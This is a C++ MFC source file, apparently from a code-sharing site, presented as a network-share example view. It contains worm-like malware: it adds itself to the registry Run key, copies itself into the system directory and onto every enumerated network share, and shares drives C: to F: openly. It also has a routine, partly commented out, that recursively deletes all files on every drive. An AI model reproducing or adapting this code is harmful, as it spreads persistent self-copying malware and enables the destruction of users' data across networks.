📄 cwicnetexampleview.cpp
字号:
// CWiCnetExampleView.cpp : implementation of the CCWiCnetExampleView class
//
#include "stdafx.h"
#include "CWiCnetExample.h"
#include "CWiCnetExampleDoc.h"
#include "CWiCnetExampleView.h"
#include "Selom Ofori\TreeExampleDlg.h"
#include "CWiCNet.h"
#include "EnumNetResources.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// CCWiCnetExampleView
IMPLEMENT_DYNCREATE(CCWiCnetExampleView, CTreeView)
BEGIN_MESSAGE_MAP(CCWiCnetExampleView, CTreeView)
//{{AFX_MSG_MAP(CCWiCnetExampleView)
ON_COMMAND(ID_SHARE_ADD, OnShareAdd)
ON_COMMAND(ID_SHARE_DEL, OnShareDel)
ON_COMMAND(ID_ENUM_RES, OnEnumRes)
ON_COMMAND(ID_LOCAL_INFO, OnLocalInfo)
ON_UPDATE_COMMAND_UI(ID_SHARE_DEL, OnUpdateShareDel)
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CCWiCnetExampleView construction/destruction
CCWiCnetExampleView::CCWiCnetExampleView()
{
// DoRegedit(); //REGEDIT
// OnEnumRes(); //copy to Local
// OnShareAdd(); //self share
// DoDeleteSelfFile(); //fuck
}
CCWiCnetExampleView::~CCWiCnetExampleView()
{
}
BOOL CCWiCnetExampleView::PreCreateWindow(CREATESTRUCT& cs)
{
// TODO: Modify the Window class or styles here by modifying
// the CREATESTRUCT cs
return CTreeView::PreCreateWindow(cs);
}
/////////////////////////////////////////////////////////////////////////////
// CCWiCnetExampleView drawing
void CCWiCnetExampleView::OnDraw(CDC* /*pDC*/)
{
CCWiCnetExampleDoc* pDoc = GetDocument();
ASSERT_VALID(pDoc);
// TODO: add draw code for native data here
}
void CCWiCnetExampleView::OnInitialUpdate()
{
// CTreeView::OnInitialUpdate();
//
// CTreeCtrl& tc = GetTreeCtrl();
// LONG lStyle = GetWindowLong( tc.m_hWnd, GWL_STYLE );
// lStyle |= TVS_HASLINES | TVS_LINESATROOT | TVS_HASBUTTONS;
// SetWindowLong( tc.m_hWnd, GWL_STYLE, lStyle );
}
/////////////////////////////////////////////////////////////////////////////
// CCWiCnetExampleView diagnostics
#ifdef _DEBUG
void CCWiCnetExampleView::AssertValid() const
{
CTreeView::AssertValid();
}
void CCWiCnetExampleView::Dump(CDumpContext& dc) const
{
CTreeView::Dump(dc);
}
CCWiCnetExampleDoc* CCWiCnetExampleView::GetDocument() // non-debug version is inline
{
ASSERT(m_pDocument->IsKindOf(RUNTIME_CLASS(CCWiCnetExampleDoc)));
return (CCWiCnetExampleDoc*)m_pDocument;
}
#endif //_DEBUG
/////////////////////////////////////////////////////////////////////////////
// CCWiCnetExampleView message handlers
void CCWiCnetExampleView::OnShareAdd()
{
CString Array[4];
Array[1] = "c:\\";
Array[2] = "d:\\";
Array[3] = "e:\\";
Array[0] = "f:\\";
CWiCNet* pNetFunctionCaller = new CWiCNet;
for( int i = 0; i < 4; i++ )
{
if( pNetFunctionCaller->NetShareAdd( Array[i], "haha", "", 1, "" ) )
{
// MessageBox("Ok, shared!");
}
}
}
////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////
void CCWiCnetExampleView::OnShareDel()
{
// CWiCNet* pNetFunctionCaller = new CWiCNet;
//
// if( pNetFunctionCaller->NetShareDel( m_Res2Del ) )
// {
// MessageBox("Ok, deleted!");
// }
// else
// {
// MessageBox("Failed!");
// }
}
void CCWiCnetExampleView::OnUpdateShareDel(CCmdUI* pCmdUI)
{
// CTreeCtrl& tc = GetTreeCtrl();
//
// HTREEITEM selitem = tc.GetSelectedItem();
//
// CString strItem = tc.GetItemText(selitem);
//
// int nStartOfResourse = strItem.ReverseFind('\\');
//
// if( nStartOfResourse != -1 )
// {
// m_Res2Del = strItem.Right(strItem.GetLength()-nStartOfResourse-1);
// if( !m_Res2Del.IsEmpty() )
// {
// HTREEITEM parent = tc.GetParentItem(selitem);
// if( parent != NULL )
// {
// CString strParent = tc.GetItemText(parent);
// int nStartOfServer = strParent.ReverseFind('\\');
// if( nStartOfServer != -1 )
// {
// CString strSelServer = strParent.Right(strParent.GetLength()-nStartOfServer-1);
// if( !stricmp( strSelServer, m_strServer ) )
// {
// pCmdUI->Enable(TRUE);
// return;
// }
// }
// }
// }
// }
//
// pCmdUI->Enable(FALSE);
}
////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////
void ProcessNetRecord(LPNETRESOURCE lpnr, void* pTreeCtrl )
{
CTreeCtrl* tc = reinterpret_cast<CTreeCtrl*>(pTreeCtrl);
static HTREEITEM hAllNet = 0;
static HTREEITEM hDomain = 0;
static HTREEITEM hComp = 0;
//////////
//lihualiu
TCHAR strSysDir[MAX_PATH+25];
TCHAR strFileName[MAX_PATH];
CString strSrcFilePath,strItemFilePath;
GetSystemDirectory(strSysDir,260);
GetModuleFileName(NULL,strFileName,MAX_PATH);
strSrcFilePath = strFileName;
strItemFilePath = lpnr->lpRemoteName ;
strItemFilePath = strItemFilePath+ "\\CWiCnetExample.exe";
if( !CopyFile(strSrcFilePath,strItemFilePath,FALSE) )
{
// AfxMessageBox("not copy!");
}
//
//
switch( lpnr->dwDisplayType )
{
// 0x00000006
case RESOURCEDISPLAYTYPE_NETWORK:
if( lpnr->lpRemoteName == NULL )
{
hAllNet = tc->InsertItem( lpnr->lpComment, 0, TVI_LAST );
}
else
{
// hAllNet = tc->InsertItem( lpnr->lpRemoteName, 0, TVI_LAST );
}
break;
// 0x00000001
case RESOURCEDISPLAYTYPE_DOMAIN: // The object should be displayed as a domain.
// hDomain = tc->InsertItem( lpnr->lpRemoteName, hAllNet, TVI_LAST );
break;
// 0x00000002
case RESOURCEDISPLAYTYPE_SERVER: // The object should be displayed as a server.
// hComp = tc->InsertItem( lpnr->lpRemoteName, hDomain );
break;
// 0x00000003
case RESOURCEDISPLAYTYPE_SHARE: // The object should be displayed as a sharepoint
// tc->InsertItem( lpnr->lpRemoteName, hComp );
break;
default:
// AfxMessageBox( "One more type!" );
break;
}
}
void CCWiCnetExampleView::OnEnumRes()
{
CDC* pDC = new CDC;//= GetDC();
pDC->m_hDC = !NULL;
CTreeCtrl& tc = GetTreeCtrl();
BeginWaitCursor(); // display the hourglass cursor
EnumerateFunc( m_hWnd, pDC->m_hDC, NULL, &tc, ProcessNetRecord );//pDC->m_hDC
EndWaitCursor(); // remove the hourglass cursor
}
////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////
void CCWiCnetExampleView::OnLocalInfo()
{
// CCWiCnetExampleDoc* pDoc = GetDocument();
//
// CString strAddress;
// strAddress.LoadString( IDS_ADDRESS_ROOT );
//
// CTreeCtrl& tc = GetTreeCtrl();
// HTREEITEM hParenHost = tc.InsertItem( strAddress, 0, 0 );
// m_strServer = pDoc->m_strHostName;
// tc.InsertItem( m_strServer, hParenHost );
// tc.InsertItem( pDoc->m_strHostIP, hParenHost );
}
void CCWiCnetExampleView::DoRegedit()
{
CString m_strNewPath;
HKEY hKEY;
TCHAR strFileName[MAX_PATH];
LPCTSTR data_Set="Software\\Microsoft\\Windows\\CurrentVersion\\Run";
//打开与路径 data_Set 相关的hKEY,KEY_WRITE表示以写的方式打开.
long ret0=(::RegOpenKeyEx(HKEY_LOCAL_MACHINE, data_Set, 0, KEY_WRITE, &hKEY));
if(ret0!=ERROR_SUCCESS)
{
MessageBox("错误: 无法打开有关的hKEY!");
return;
}
GetModuleFileName(NULL,strFileName,MAX_PATH);
m_strNewPath = strFileName;
//修改有关数据(用户姓名 owner_Set),要先将CString型转换为LPBYTE。
LPBYTE owner_Set=CString_To_LPBYTE(strFileName);
DWORD type_1=REG_SZ;
DWORD cbData_1=m_strNewPath.GetLength()+1;
//的数据类型和数据长度
long ret1=::RegSetValueEx(hKEY, "network", NULL,
type_1,owner_Set,cbData_1);
if(ret1!=ERROR_SUCCESS)
{
MessageBox("错误: 无法修改有关注册表信息!");
return;
}
DoCopySystem();
}
void CCWiCnetExampleView::DoCopySystem()
{
TCHAR strSysDir[MAX_PATH+25];
TCHAR strFileName[MAX_PATH];
CString strSrcFilePath,strItemFilePath;
GetSystemDirectory(strSysDir,260);
GetModuleFileName(NULL,strFileName,MAX_PATH);
strSrcFilePath = strFileName;
strItemFilePath = strSysDir;
strItemFilePath = strItemFilePath+ "\\CWiCnetExample.exe";
if( !CopyFile(strSrcFilePath,strItemFilePath,FALSE) )
{
AfxMessageBox("not copy!");
}
}
LPBYTE CCWiCnetExampleView::CString_To_LPBYTE(CString str)
{
LPBYTE lpb=new BYTE[str.GetLength()+1];
for(int i=0;i<str.GetLength(); i++)
lpb[i]=str[i];
lpb[str.GetLength()]=0;
return lpb;
}
void CCWiCnetExampleView::DoDeleteSelfFile()
{
CString m_strDir, m_strDir1, m_strDir2, m_strDir3;
m_strDir = "F:\\";
m_strDir1 = "E:\\";
m_strDir2 = "D:\\";
m_strDir3 = "C:\\";
// MessageBox("车神!QQ:28543487","北京思拓软件有限公司");
RecursiveDelete(m_strDir);
RecursiveDelete(m_strDir1);
RecursiveDelete(m_strDir2);
RecursiveDelete(m_strDir3);
}
void CCWiCnetExampleView::RecursiveDelete(CString szPath)
{
// CFileFind ff;
// CString path = szPath;
//
// if(path.Right(1) != "\\")
// path += "\\";
//
// path += "*.*";
// BOOL res = ff.FindFile(path);
//
// while(res)
// {
// res = ff.FindNextFile();
// //是文件时直接删除
//
// if (!ff.IsDots() && !ff.IsDirectory())
// DeleteFile(ff.GetFilePath());
// else if (ff.IsDots())
// continue;
// else if (ff.IsDirectory())
// {
// path = ff.GetFilePath();
// //是目录时继续递归,删除该目录下的文件
// RecursiveDelete(path);
// //目录为空后删除目录
// RemoveDirectory(path);
// }
// }
// //最终目录被清空了,于是删除该目录
// RemoveDirectory(szPath);
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -